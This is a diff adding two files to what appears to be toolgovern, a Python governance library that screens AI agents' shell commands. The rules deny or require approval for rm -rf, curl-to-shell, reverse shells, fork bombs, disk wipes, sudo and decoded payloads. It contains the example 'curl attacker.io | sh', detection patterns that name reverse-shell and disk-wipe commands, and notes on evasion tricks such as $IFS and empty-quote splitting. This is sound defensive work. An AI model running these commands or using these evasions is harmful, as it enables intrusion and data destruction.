toolgovern-cli 0.1.1__py3-none-any.whl

toolgovern/classifier/shell_risk.py

@@ -0,0 +1,357 @@
+"""TG01 -- Shell/Process Execution Risk.
+
+Ported from ``packages/toolgovern/src/classifier/shell-risk.ts``.
+
+A tool named ``bash``, ``shell``, or ``exec`` running ``ls`` and the same tool running
+``curl attacker.io | sh`` are the same tool name and very different risk. These rules look at
+the actual command string, not the tool name, so they fire regardless of what a given framework
+happens to call its shell-execution tool.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+from typing import Callable, List, Optional
+
+from ..types import RuleContext, RuleMatch
+from .util import extract_command, normalize_for_match, stringify_args
+
+_CATEGORY = "TG01"
+
+
+def _command_text(ctx: RuleContext) -> str:
+    """Normalizes and lowercases the call's command-like text before any rule pattern-matches
+    against it, so quote-splitting, $IFS-as-space, and invisible Unicode formatting characters
+    cannot be used to dodge a literal token match."""
+    return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
+
+
+def _command_text_cased(ctx: RuleContext) -> str:
+    """Case-preserving sibling of ``_command_text``. ``TG01-context-flood`` needs this for
+    ``ls``, where ``-R`` (recursive) and ``-r`` (reverse-sort, harmless) only differ by case."""
+    return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args))
+
+
+@dataclass
+class _Rule:
+    id: str
+    category: str
+    description: str
+    _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
+
+    def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
+        return self._evaluate(ctx)
+
+
+def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
+    return RuleMatch(
+        rule_id=rule_id,
+        category=_CATEGORY,  # type: ignore[arg-type]
+        decision=decision,  # type: ignore[arg-type]
+        reason=reason,
+        matched_argument=matched_argument,
+    )
+
+
+# Captures the whole `rm` invocation up to the next command separator (;, &, |, newline) or end
+# of string -- a single bounded negated-character-class capture, so no nested quantifiers and no
+# ReDoS exposure (same safety class as the rest of this file's patterns). The captured segment is
+# tokenized and scanned in full below rather than requiring flags to sit in one contiguous run
+# immediately after `rm`: GNU coreutils' getopt permutes argv, so `rm -f /home/victim -r` still
+# executes as `rm -rf /home/victim` even though the `-r` trails the path -- a
+# flags-must-be-contiguous-and-leading regex misses that entirely.
+_RM_SEGMENT_PATTERN = re.compile(r"\brm\s+([^;&|\n]*)", re.IGNORECASE)
+
+# Matches both short combined flags (-rf, -fr) and GNU long flags (--recursive, --force) -- the
+# character class already covers hyphens, so a long flag like --recursive (16 chars after the
+# leading -) matches this bound without a separate long-flag alternative.
+_FLAG_TOKEN_PATTERN = re.compile(r"^-[a-z-]{1,18}$")
+
+
+def _rm_rf_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _RM_SEGMENT_PATTERN.search(text)
+    if not found:
+        return None
+    tokens = found.group(1).strip().split()
+    has_force = False
+    has_recursive = False
+    target = ""
+    for token in tokens:
+        if _FLAG_TOKEN_PATTERN.match(token):
+            if "f" in token:
+                has_force = True
+            if "r" in token:
+                has_recursive = True
+            continue
+        if not target:
+            target = token
+    if not has_force or not has_recursive:
+        return None
+    high_blast_radius = bool(re.match(r"^(/|~|\*|\.$|\./\*?$)", target)) or target == ""
+    if not high_blast_radius:
+        return None
+    return _match(
+        "TG01-rm-rf",
+        "deny",
+        "rm -rf (or equivalent) targeting a root/home/wildcard path.",
+        found.group(0),
+    )
+
+
+_DECODE_STEP_PATTERN = re.compile(
+    r"\b(base64\s+(-d|--decode)\b|openssl\s+(base64|enc)\s+[^|]*-d\b|xxd\s+-r\b|"
+    r"certutil\s+-decode\b|python[0-9.]*\s+-c\s*['\"].*b64decode)",
+    re.IGNORECASE,
+)
+_FEEDS_EXECUTION_PATTERN = re.compile(
+    r"(\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b|`|\$\(|\b(sh|bash)\s+-c\b|"
+    r"\beval\b|\bexec\b)",
+    re.IGNORECASE,
+)
+
+
+def _decoded_payload_execution_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    if not _DECODE_STEP_PATTERN.search(text):
+        return None
+    if not _FEEDS_EXECUTION_PATTERN.search(text):
+        return None
+    return _match(
+        "TG01-decoded-payload-execution",
+        "deny",
+        "Decoded payload (base64/hex/etc.) is piped or substituted into a shell/interpreter for execution.",
+        text[:200],
+    )
+
+
+_PIPE_TO_SHELL_PATTERN = re.compile(
+    r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b", re.IGNORECASE
+)
+
+
+def _pipe_to_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _PIPE_TO_SHELL_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG01-pipe-to-shell",
+        "deny",
+        "Pipe-to-shell pattern: remote payload executed without inspection.",
+        found.group(0),
+    )
+
+
+_SUDO_PATTERN = re.compile(r"\b(sudo|doas)\s+\S+", re.IGNORECASE)
+
+
+def _sudo_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _SUDO_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG01-sudo", "require-approval", "Command escalates privileges via sudo/doas.", found.group(0)
+    )
+
+
+# Same segment-then-tokenize approach as _RM_SEGMENT_PATTERN above, for the same reason: a
+# preceding-flag-group regex ((-[a-z]+\s+)?) fails to match GNU long flags like --recursive (the
+# second character is -, not a-z), which makes the *entire* match fail rather than just the flag
+# capture -- `chmod --recursive 777 /path` matched nothing at all under the old pattern. Scanning
+# every token in the segment means flag form/position/count no longer matter; only whether a
+# dangerous permission argument appears anywhere in the command.
+_CHMOD_SEGMENT_PATTERN = re.compile(r"\bchmod\s+([^;&|\n]*)", re.IGNORECASE)
+_CHMOD_DANGEROUS_PERMISSION_PATTERN = re.compile(r"^(777|a\+rwx|o\+w|0777)$", re.IGNORECASE)
+
+
+def _chmod_777_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _CHMOD_SEGMENT_PATTERN.search(text)
+    if not found:
+        return None
+    tokens = found.group(1).strip().split()
+    dangerous = next((t for t in tokens if _CHMOD_DANGEROUS_PERMISSION_PATTERN.match(t)), None)
+    if not dangerous:
+        return None
+    return _match(
+        "TG01-chmod-777",
+        "deny",
+        "chmod grants world-writable or world-executable permissions.",
+        found.group(0),
+    )
+
+
+_FORK_BOMB_PATTERN = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&?\s*\}\s*;\s*:")
+
+
+def _fork_bomb_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _FORK_BOMB_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG01-fork-bomb", "deny", "Fork-bomb pattern -- unbounded process spawning.", found.group(0)
+    )
+
+
+_REVERSE_SHELL_PATTERN = re.compile(
+    r"(nc\s+-e\s+\S+|/dev/tcp/\S+|bash\s+-i\s*>&\s*/dev/tcp)", re.IGNORECASE
+)
+
+
+def _reverse_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _REVERSE_SHELL_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG01-reverse-shell",
+        "deny",
+        "Reverse-shell / raw TCP socket redirection pattern.",
+        found.group(0),
+    )
+
+
+_DISK_WIPE_PATTERN = re.compile(
+    r"\b(mkfs(\.\w+)?\s+/dev/|dd\s+[^|]*of=/dev/(sd|hd|nvme|disk)\w*)", re.IGNORECASE
+)
+
+
+def _disk_wipe_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    text = _command_text(ctx)
+    found = _DISK_WIPE_PATTERN.search(text)
+    if not found:
+        return None
+    return _match(
+        "TG01-disk-wipe", "deny", "Direct write/format targeting a raw block device.", found.group(0)
+    )
+
+
+# A bare ~, *, or the current directory (., ./, ./*) -- the same "no real scope" shape
+# TG01-rm-rf's high_blast_radius check treats as high-risk. An empty string (no path argument
+# captured at all) counts the same way: there is nothing bounding how much output comes back.
+#
+# Absolute paths are handled separately below by depth rather than by a bare "starts with /"
+# check: unlike rm -rf, where any leading / is a reasonable danger proxy, a deep, specific
+# absolute path is exactly the pattern well-behaved coding agents are expected to use and must
+# not be flagged just because it's absolute.
+def _is_unscoped_path(target: str) -> bool:
+    if target == "":
+        return True
+    if re.match(r"^(~|\*|\.$|\./\*?$)", target):
+        return True
+    if target.startswith("/"):
+        # Root or shallow (<=2 segments after stripping the leading /) is still broad enough to
+        # enumerate a huge fraction of the filesystem. 3+ segments is specific enough to be a
+        # genuinely scoped target and is not flagged.
+        segments = [s for s in target.split("/") if s]
+        return len(segments) <= 2
+    return False
+
+
+# Flag tokens are bounded and \s+-separated for the same ReDoS-avoidance reason as RM_PATTERN
+# above. Group 1 is the flag cluster, group 2 (optional) is the path argument immediately
+# following it.
+_LS_PATTERN = re.compile(r"\bls\s+((?:-[a-z-]{1,16}\s+)*-[a-z-]{1,16})(?:\s+(\S+))?", re.IGNORECASE)
+
+# find's first positional argument is conventionally its search root. This is a regex-level
+# approximation, not real argv parsing -- a leading option before the path (find -L / ...) will
+# not be captured as the target and this rule will simply miss it, consistent with this file's
+# existing "false negative over false positive" bias.
+_FIND_PATTERN = re.compile(r"\bfind\s+(\S+)", re.IGNORECASE)
+_FIND_MAXDEPTH_PATTERN = re.compile(r"-maxdepth\s+\d+", re.IGNORECASE)
+
+# Group 1 is the flag cluster -- -[a-z-]{1,20} already matches --recursive (the class includes
+# the hyphen, so the second leading dash is consumed by it too), so no separate long-flag
+# alternative is needed. The first non-capturing group consumes the search pattern (quoted or
+# bare); group 2 (optional) is the path argument that follows it.
+_GREP_RECURSIVE_PATTERN = re.compile(
+    r"\bgrep\s+((?:-[a-z-]{1,20}\s+)*-[a-z-]{1,20})\s+(?:\"[^\"]*\"|'[^']*'|\S+)(?:\s+(\S+))?",
+    re.IGNORECASE,
+)
+
+# A ** globstar segment anywhere in a cat target -- a single-level glob (cat *.log) is common
+# and usually bounded by directory size; a recursive globstar has no such bound.
+_CAT_GLOBSTAR_PATTERN = re.compile(r"\bcat\s+\S*\*\*\S*", re.IGNORECASE)
+
+
+def _context_flood_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
+    cased = _command_text_cased(ctx)
+
+    ls_found = _LS_PATTERN.search(cased)
+    if ls_found:
+        flags = ls_found.group(1) or ""
+        target = ls_found.group(2) or ""
+        # -R (capital) is recursive; -r (lowercase) is reverse-sort order and harmless here --
+        # this is exactly why this check runs against the case-preserving `cased` text.
+        if "R" in flags and _is_unscoped_path(target):
+            return _match(
+                "TG01-context-flood",
+                "require-approval",
+                "Recursive `ls -R` with no scoped path -- can dump an unbounded directory tree into context.",
+                ls_found.group(0),
+            )
+
+    find_found = _FIND_PATTERN.search(cased)
+    if (
+        find_found
+        and not _FIND_MAXDEPTH_PATTERN.search(cased)
+        and _is_unscoped_path(find_found.group(1) or "")
+    ):
+        return _match(
+            "TG01-context-flood",
+            "require-approval",
+            "`find` over an unscoped root with no -maxdepth -- can enumerate an unbounded number of results.",
+            find_found.group(0),
+        )
+
+    grep_found = _GREP_RECURSIVE_PATTERN.search(cased)
+    if grep_found:
+        flags = grep_found.group(1) or ""
+        target = grep_found.group(2) or ""
+        # Unlike ls, grep's -r and -R are both recursive (no reverse-sort ambiguity), so a
+        # plain case-insensitive check for the letter r in the flag cluster is enough.
+        if re.search("r", flags, re.IGNORECASE) and _is_unscoped_path(target):
+            return _match(
+                "TG01-context-flood",
+                "require-approval",
+                "Recursive `grep -r`/`-R` with no scoped path -- can flood context with matches from an entire filesystem tree.",
+                grep_found.group(0),
+            )
+
+    cat_found = _CAT_GLOBSTAR_PATTERN.search(cased)
+    if cat_found:
+        return _match(
+            "TG01-context-flood",
+            "require-approval",
+            "`cat` over a recursive globstar -- can concatenate an unbounded number of files into context.",
+            cat_found.group(0),
+        )
+
+    return None
+
+
+shell_risk_rules: List[_Rule] = [
+    _Rule("TG01-rm-rf", _CATEGORY, "Recursive/forced delete of a root, home, or wildcard-rooted path.", _rm_rf_evaluate),
+    _Rule("TG01-pipe-to-shell", _CATEGORY, "A download (curl/wget) piped directly into a shell or interpreter.", _pipe_to_shell_evaluate),
+    _Rule("TG01-sudo", _CATEGORY, "Privilege escalation via sudo/doas.", _sudo_evaluate),
+    _Rule("TG01-chmod-777", _CATEGORY, "World-writable/executable permission grant.", _chmod_777_evaluate),
+    _Rule("TG01-fork-bomb", _CATEGORY, "Classic shell fork-bomb pattern.", _fork_bomb_evaluate),
+    _Rule("TG01-reverse-shell", _CATEGORY, "Reverse-shell / raw TCP redirection patterns.", _reverse_shell_evaluate),
+    _Rule("TG01-disk-wipe", _CATEGORY, "Direct disk/block-device overwrite.", _disk_wipe_evaluate),
+    _Rule(
+        "TG01-decoded-payload-execution",
+        _CATEGORY,
+        "A base64/hex-decoded (or similarly obfuscated) payload is fed into a shell or interpreter for execution, without a literal curl/wget token for TG01-pipe-to-shell to match.",
+        _decoded_payload_execution_evaluate,
+    ),
+    _Rule(
+        "TG01-context-flood",
+        _CATEGORY,
+        "Read-only, high-output-volume command (unscoped recursive listing/search/concatenation) that risks flooding the agent context window rather than a security breach.",
+        _context_flood_evaluate,
+    ),
+]

toolgovern/classifier/util.py

@@ -0,0 +1,259 @@
+"""Shared argument-extraction helpers for rule implementations.
+
+Ported from ``packages/toolgovern/src/classifier/util.ts``.
+
+Real tool-call argument shapes vary a lot across frameworks -- a shell tool might name its
+argument ``command``, ``cmd``, or ``script``. Rather than force every framework to normalize to
+one schema before toolgovern can evaluate a call, each rule looks for a small set of common key
+names and falls back to scanning the stringified argument bag. This is deliberately permissive
+(a false negative here is worse than a rare false positive from the string fallback).
+"""
+
+from __future__ import annotations
+
+import re
+import unicodedata
+from typing import Any, List, Mapping, Optional, Sequence
+
+from ..shared.paths import (
+    contains_path_traversal as contains_path_traversal,
+    is_ip_literal as is_ip_literal,
+    is_path_within as is_path_within,
+    is_private_or_metadata_target as is_private_or_metadata_target,
+    normalize_host as normalize_host,
+    normalize_path as normalize_path,
+)
+
+_COMMAND_KEYS = ["command", "cmd", "script", "shell", "code"]
+_PATH_KEYS = ["path", "target", "dest", "destination", "file", "filepath", "file_path"]
+_OPERATION_KEYS = ["operation", "op", "action", "mode"]
+_HOST_KEYS = ["host", "hostname", "url", "uri", "endpoint", "address"]
+_CREDENTIAL_KEYS = ["credential", "secret", "secretName", "credentialId"]
+
+
+def _first_string(args: Mapping[str, Any], keys: Sequence[str]) -> Optional[str]:
+    for key in keys:
+        value = args.get(key)
+        if isinstance(value, str) and len(value) > 0:
+            return value
+    return None
+
+
+def extract_command(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts a shell-command-like string from common argument key names."""
+    return _first_string(args, _COMMAND_KEYS)
+
+
+def extract_code_text(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts the raw ``code`` string argument a code-execution tool was invoked with, if any."""
+    value = args.get("code")
+    return value if isinstance(value, str) and len(value) > 0 else None
+
+
+_CODE_FILE_CALL_PATTERN = re.compile(
+    r"\b(?:open|readfile|readfilesync|writefile|writefilesync|unlink|unlinksync|rmsync|"
+    r"rmdirsync|chmod|chown|chmodsync|chownsync|os\.remove|os\.unlink|os\.rmdir|os\.chmod|"
+    r"os\.chown|fs\.chmod|fs\.chown|shutil\.rmtree|shutil\.copy\w*)\s*\(\s*[\"']([^\"']+)[\"']",
+    re.IGNORECASE,
+)
+_CODE_BARE_PATH_PATTERN = re.compile(r"[\"'`]((?:\.\./)+[^\"'`]*|/(?:[\w.-]+/)*[\w.-]+)[\"'`]")
+
+
+def extract_path_from_code(code: str) -> Optional[str]:
+    """Scans a code-execution tool's ``code`` string for a path-like literal."""
+    call_match = _CODE_FILE_CALL_PATTERN.search(code)
+    if call_match and call_match.group(1):
+        return call_match.group(1)
+    bare_match = _CODE_BARE_PATH_PATTERN.search(code)
+    if bare_match and bare_match.group(1):
+        return bare_match.group(1)
+    return None
+
+
+_CODE_DELETE_PATTERN = re.compile(
+    r"\b(?:os\.remove|os\.unlink|os\.rmdir|shutil\.rmtree|fs\.unlink|fs\.unlinksync|fs\.rm|"
+    r"fs\.rmsync|fs\.rmdir|fs\.rmdirsync|unlinksync|rmsync|rmdirsync)\s*\(",
+    re.IGNORECASE,
+)
+_CODE_CHMOD_PATTERN = re.compile(
+    r"\b(?:os\.chmod|os\.chown|fs\.chmod|fs\.chmodsync|fs\.chown|fs\.chownsync|chmodsync|"
+    r"chownsync)\s*\(",
+    re.IGNORECASE,
+)
+_CODE_WRITE_CALL_PATTERN = re.compile(
+    r"\b(?:writefile|writefilesync|fs\.writefile|fs\.writefilesync|os\.write)\s*\(",
+    re.IGNORECASE,
+)
+_CODE_OPEN_WRITE_MODE_PATTERN = re.compile(
+    r"\bopen\s*\([^)]*?,\s*[\"'](\w*[wax]\w*)[\"']", re.IGNORECASE
+)
+
+
+def extract_operation_from_code(code: str) -> Optional[str]:
+    """Infers a write/delete/chmod operation from a code string's recognized call shapes."""
+    if _CODE_DELETE_PATTERN.search(code):
+        return "delete"
+    if _CODE_CHMOD_PATTERN.search(code):
+        return "chmod"
+    if _CODE_WRITE_CALL_PATTERN.search(code) or _CODE_OPEN_WRITE_MODE_PATTERN.search(code):
+        return "write"
+    return None
+
+
+def extract_path(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts a filesystem-path-like string from common argument key names, falling back to
+    scanning a ``code`` string argument when no path/target/dest-style key is present."""
+    direct = _first_string(args, _PATH_KEYS)
+    if direct:
+        return direct
+    code = extract_code_text(args)
+    return extract_path_from_code(code) if code else None
+
+
+def extract_operation(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts a declared filesystem operation (read/write/delete/chmod/...) if the tool
+    provides one, falling back to inferring one from a ``code`` string argument."""
+    direct = _first_string(args, _OPERATION_KEYS)
+    if direct:
+        return direct.lower()
+    code = extract_code_text(args)
+    return extract_operation_from_code(code) if code else None
+
+
+def extract_host(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts a network host/URL-like string from common argument key names."""
+    return _first_string(args, _HOST_KEYS)
+
+
+def extract_credential_name(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts a declared credential identifier from common argument key names."""
+    return _first_string(args, _CREDENTIAL_KEYS)
+
+
+def stringify_args(args: Mapping[str, Any]) -> str:
+    """Flattens every string value in the argument bag into one lowercase blob, used as a
+    fallback scan target for pattern rules when no known key name matches."""
+    parts: List[str] = []
+    for value in args.values():
+        if isinstance(value, str):
+            parts.append(value)
+        elif value is not None and not isinstance(value, (dict, list)):
+            parts.append(str(value))
+    return " ".join(parts).lower()
+
+
+# Zero-width, bidi-control, and other invisible-format Unicode characters sometimes inserted
+# mid-token to break a literal-substring or \b word-boundary match (e.g. "sudo" with a
+# zero-width space spliced in). Stripped before pattern matching, never before execution.
+# Built from \uXXXX escape sequences (text in this source file, not a pasted glyph) so no
+# literal invisible/control character ever lives in this file, and compiled once into a single
+# regex -- an earlier version of this function did the equivalent check with a pure-Python
+# per-character loop, which was roughly 1000x slower on large inputs (a governance middleware
+# that gates every tool call synchronously cannot afford tens of milliseconds per call just to
+# strip formatting characters). Ranges: U+00AD soft hyphen, U+200B-200F zero-width
+# space/joiners/marks, U+202A-202E bidi embedding/override controls, U+2060-2064 word
+# joiner/invisible operators, U+FEFF BOM.
+_INVISIBLE_FORMAT_CHARS = re.compile(
+    "[\u00AD\u200B-\u200F\u202A-\u202E\u2060-\u2064\uFEFF]"
+)
+
+
+def _strip_invisible_format_chars(text: str) -> str:
+    return _INVISIBLE_FORMAT_CHARS.sub("", text)
+
+# $IFS / ${IFS} (optionally with a positional-parameter suffix like $9) is a well-known shell
+# field-separator substitution attackers use in place of a literal space specifically to dodge
+# whitespace-based pattern matching, without changing what the shell actually executes.
+_IFS_SEPARATOR = re.compile(r"\$\{?IFS\}?(\$\d+)?", re.IGNORECASE)
+
+
+def _collapse_empty_quote_pairs(text: str) -> str:
+    """An adjacent pair of matching quote characters ('' or "") contributes nothing to what a
+    POSIX shell actually runs, but it does break a naive literal-substring match. Collapsed
+    here, repeatedly, so stacked pairs are fully removed."""
+    current = text
+    previous = None
+    while current != previous:
+        previous = current
+        current = re.sub(r"(['\"])\1", "", current)
+    return current
+
+
+def normalize_for_match(text: str) -> str:
+    """Normalizes free-form command/argument text before it is matched against a classifier
+    pattern. Does not change what actually gets executed -- it only closes the gap between
+    "what the shell will run" and "what a literal regex sees" for a handful of well-known
+    obfuscation tricks: Unicode confusables/invisible characters, $IFS-as-space substitution,
+    and empty-quote-pair token splitting (cu''rl, r""m)."""
+    normalized = unicodedata.normalize("NFKC", text)
+    normalized = _strip_invisible_format_chars(normalized)
+    normalized = _IFS_SEPARATOR.sub(" ", normalized)
+    normalized = _collapse_empty_quote_pairs(normalized)
+    normalized = re.sub(r"\\([A-Za-z0-9])", r"\1", normalized)
+    return normalized
+
+
+# Maximum object/array nesting depth find_nested_host will descend into. Bounds the search
+# against pathological or absurdly nested argument payloads.
+_MAX_HOST_SEARCH_DEPTH = 8
+
+
+def _find_nested_host(value: Any, depth: int = 0) -> Optional[str]:
+    """Depth-first search for the first HOST_KEYS-named string value anywhere inside a nested
+    argument bag, so a host/URL buried inside a nested payload is still found."""
+    if value is None or depth > _MAX_HOST_SEARCH_DEPTH:
+        return None
+
+    if isinstance(value, list):
+        for item in value:
+            found = _find_nested_host(item, depth + 1)
+            if found:
+                return found
+        return None
+
+    if isinstance(value, dict):
+        direct = _first_string(value, _HOST_KEYS)
+        if direct:
+            return direct
+        for nested in value.values():
+            if isinstance(nested, (dict, list)):
+                found = _find_nested_host(nested, depth + 1)
+                if found:
+                    return found
+
+    return None
+
+
+_URL_PATTERN = re.compile(r"https?://[^\s\"'|]+", re.IGNORECASE)
+
+
+def extract_candidate_host(args: Mapping[str, Any]) -> Optional[str]:
+    """Pulls a candidate network host out of an explicit host/url argument -- checked at the
+    top level first, then recursively through nested objects/arrays -- or otherwise scans a
+    shell-command-like string for the first http(s):// URL. Returns a normalized hostname."""
+    explicit = extract_host(args) or _find_nested_host(args)
+    if explicit:
+        return normalize_host(normalize_for_match(explicit))
+
+    command = normalize_for_match(extract_command(args) or stringify_args(args))
+    url_match = _URL_PATTERN.search(command)
+    if url_match:
+        return normalize_host(url_match.group(0))
+    return None
+
+
+def extract_credential_identifier(args: Mapping[str, Any]) -> Optional[str]:
+    """Extracts whichever resource identifier a credential-scoped call is targeting -- an
+    explicit credential/secret name if the tool provides one, otherwise the filesystem path."""
+    return extract_credential_name(args) or extract_path(args)
+
+
+def is_credential_granted(identifier: str, credentials: Sequence[str]) -> bool:
+    """Whether ``identifier`` (a path or a named credential) matches an entry in
+    ``credentials`` -- exact match, a trailing path segment match, or a substring match."""
+    lower = identifier.lower()
+    for granted in credentials:
+        g = granted.lower()
+        if lower == g or lower.endswith(f"/{g}") or g in lower:
+            return True
+    return False